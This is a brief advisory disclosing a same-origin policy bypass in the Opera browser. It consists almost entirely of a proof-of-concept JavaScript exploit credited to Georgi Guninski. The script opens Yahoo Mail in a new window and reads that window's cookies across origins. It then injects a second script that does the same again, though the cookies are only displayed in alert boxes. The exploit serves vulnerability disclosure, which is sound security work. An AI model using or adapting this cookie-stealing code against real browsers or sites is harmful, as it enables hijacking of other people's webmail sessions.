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Opera Same Origin Policy Circumvention Vulnerability

The following example was provided by Georgi Guninski:

-1.----------------------------------
a=window.open("http://mail.yahoo.com");
function f()
{
xx=a.document.cookie;
alert("hi"+xx);
a.document.open();
a.document.write("<h1>aa</h1><script>x=window.open('http://mail.yahoo.com');setTimeout('z=x.document.cookie;alert(z);',5000)</"+"script>");
a.document.close();
}
setTimeout("f()",5000);
-----------------------------------